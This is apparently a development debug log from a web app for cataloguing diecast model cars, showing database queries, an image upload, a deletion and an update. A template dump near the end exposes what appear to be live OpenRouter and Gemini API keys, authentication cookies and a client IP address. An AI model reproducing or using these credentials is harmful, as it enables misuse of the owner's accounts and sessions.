  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T05:32:53.321Z server-connect:app Executing action step select
2026-02-04T05:32:53.321Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T05:32:53.322Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T05:32:53.322Z server-connect:app Executing action step select
2026-02-04T05:32:53.322Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T05:32:53.323Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T05:32:58.172Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:32:58.172Z server-connect:app Executing action step identify
2026-02-04T05:32:58.173Z server-connect:app options: { provider: 'security' }
2026-02-04T05:32:58.173Z server-connect:output identity: 1
2026-02-04T05:32:58.173Z server-connect:app Executing action step restrict
2026-02-04T05:32:58.173Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:32:58.173Z server-connect:output restrict: undefined
2026-02-04T05:32:58.173Z server-connect:app Executing action step paged
2026-02-04T05:32:58.173Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:32:58.175Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T05:34:01.608Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T05:34:01.609Z server-connect:app Executing action step identify
2026-02-04T05:34:01.609Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:01.609Z server-connect:output identity: 1
2026-02-04T05:34:01.609Z server-connect:app Executing action step restrict
2026-02-04T05:34:01.609Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:01.610Z server-connect:output restrict: undefined
2026-02-04T05:34:01.610Z server-connect:app Executing action step condition
2026-02-04T05:34:01.610Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T05:34:01.610Z server-connect:app Executing action step insert
2026-02-04T05:34:01.611Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T05:34:01.612Z server-connect:output insert: { affected: 1, identity: 151 }
2026-02-04T05:34:01.612Z server-connect:app Executing action step condition
2026-02-04T05:34:01.612Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T05:34:01.612Z server-connect:app Executing action step upload
2026-02-04T05:34:01.612Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T05:34:01.612Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T05:34:01.612Z server-connect:upload Process fields: 'images[]'
2026-02-04T05:34:01.612Z server-connect:upload Processing file: {
  name: 'rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47.jpg',
  data: <Buffer >,
  size: 199724,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-18-20378841770183241607',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '0fbf5e3686fdba6308d3239fb32c2555',
  mv: [Function: mv]
}
2026-02-04T05:34:01.612Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_4bdda6fb-2acb-494a-8685-0fbf9033a869.jpg',
  rel: 'public/assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_4bdda6fb-2acb-494a-8685-0fbf9033a869.jpg'
}
2026-02-04T05:34:01.612Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_4bdda6fb-2acb-494a-8685-0fbf9033a869.jpg',
  rel: 'assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_4bdda6fb-2acb-494a-8685-0fbf9033a869.jpg'
}
2026-02-04T05:34:01.612Z server-connect:output upload_image: [
  {
    name: 'rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_4bdda6fb-2acb-494a-8685-0fbf9033a869.jpg',
    path: '/public/assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_4bdda6fb-2acb-494a-8685-0fbf9033a869.jpg',
    url: '/assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47_4bdda6fb-2acb-494a-8685-0fbf9033a869.jpg',
    type: 'image/jpeg',
    size: 199724
  }
]
2026-02-04T05:34:01.613Z server-connect:app Executing action step repeat
2026-02-04T05:34:01.613Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T05:34:01.613Z server-connect:app Executing action step insert
2026-02-04T05:34:01.613Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T05:34:01.614Z server-connect:output images: { affected: 1, identity: 169 }
2026-02-04T05:34:01.614Z server-connect:output repeat_images: [ {} ]
2026-02-04T05:34:01.614Z server-connect:output condition: undefined
2026-02-04T05:34:01.614Z server-connect:output condition: undefined
2026-02-04T05:34:01.870Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:34:01.870Z server-connect:app Executing action step identify
2026-02-04T05:34:01.870Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:01.870Z server-connect:output identity: 1
2026-02-04T05:34:01.870Z server-connect:app Executing action step restrict
2026-02-04T05:34:01.870Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:01.871Z server-connect:output restrict: undefined
2026-02-04T05:34:01.871Z server-connect:app Executing action step paged
2026-02-04T05:34:01.871Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:34:01.874Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Fantasy',
      brand_id: 72,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T05:34:05.917Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T05:34:05.918Z server-connect:app Executing action step identify
2026-02-04T05:34:05.918Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:05.918Z server-connect:output identity: 1
2026-02-04T05:34:05.918Z server-connect:app Executing action step restrict
2026-02-04T05:34:05.918Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:05.919Z server-connect:output restrict: undefined
2026-02-04T05:34:05.919Z server-connect:app Executing action step single
2026-02-04T05:34:05.919Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T05:34:05.920Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/rn-image_picker_lib_temp_3fa8cba3-f99c-494e-9491-0be860ed6d28_fefc809e-da3a-4044-b6a4-9fc6ed3d0b47.png'
}
2026-02-04T05:34:05.920Z server-connect:app Executing action step delete
2026-02-04T05:34:05.920Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T05:34:05.921Z server-connect:output delete: { affected: 1 }
2026-02-04T05:34:05.923Z server-connect:app Executing action step remove
2026-02-04T05:34:05.923Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T05:34:05.924Z server-connect:output fileRemove: true
2026-02-04T05:34:06.169Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:34:06.169Z server-connect:app Executing action step identify
2026-02-04T05:34:06.169Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:06.169Z server-connect:output identity: 1
2026-02-04T05:34:06.169Z server-connect:app Executing action step restrict
2026-02-04T05:34:06.169Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:06.170Z server-connect:output restrict: undefined
2026-02-04T05:34:06.170Z server-connect:app Executing action step paged
2026-02-04T05:34:06.170Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:34:06.172Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Fantasy',
      brand_id: 72,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: []
    }
  ]
}
2026-02-04T05:34:06.417Z server-connect:router Serving templateView /
2026-02-04T05:34:06.417Z server-connect:app Executing action step identify
2026-02-04T05:34:06.417Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:06.418Z server-connect:output identity: 1
2026-02-04T05:34:06.418Z server-connect:app Executing action step restrict
2026-02-04T05:34:06.418Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T05:34:06.418Z server-connect:output restrict: undefined
2026-02-04T05:34:06.418Z server-connect:app Executing action step restrict
2026-02-04T05:34:06.418Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T05:34:06.418Z server-connect:output restrict: undefined
2026-02-04T05:34:06.418Z server-connect:router Render template layouts/main
2026-02-04T05:34:06.419Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?search=gar',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?search=gar',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T05:34:09.821Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T05:34:09.822Z server-connect:app Executing action step identify
2026-02-04T05:34:09.822Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:09.822Z server-connect:output identity: 1
2026-02-04T05:34:09.822Z server-connect:app Executing action step restrict
2026-02-04T05:34:09.822Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:09.823Z server-connect:output restrict: undefined
2026-02-04T05:34:09.823Z server-connect:app Executing action step condition
2026-02-04T05:34:09.823Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T05:34:09.823Z server-connect:app Executing action step update
2026-02-04T05:34:09.823Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T05:34:09.824Z server-connect:output update: { affected: 1 }
2026-02-04T05:34:09.824Z server-connect:app Executing action step upload
2026-02-04T05:34:09.824Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T05:34:09.824Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T05:34:09.824Z server-connect:upload Process fields: 'images[]'
2026-02-04T05:34:09.824Z server-connect:upload Processing file: {
